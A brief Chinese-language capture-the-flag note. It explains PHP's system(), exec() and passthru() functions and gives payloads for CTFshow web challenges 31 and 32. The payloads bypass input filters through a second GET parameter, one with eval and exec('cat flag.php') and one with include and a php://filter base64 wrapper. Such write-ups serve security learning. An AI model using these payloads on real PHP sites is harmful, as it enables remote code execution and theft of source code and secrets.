执行外部命令的函数
system() exec() passthru()
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
CTFshow web 31
嵌套异或逃逸:
&符号作为连接,并且。
使用GET的a作为一个参数,传给c,再给1一个赋值,这样就可以跳过对c的过滤。
payload:c=eval($_GET[a]);&a=echo exec(“cat flag.php”);
CTFshow web 32
嵌套include文件包含,利用伪协议文件包含。
payload:c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php<?php
filter:通过指定的通道来读取指定的文件
这里使用base64读取
不用base64读不到源文件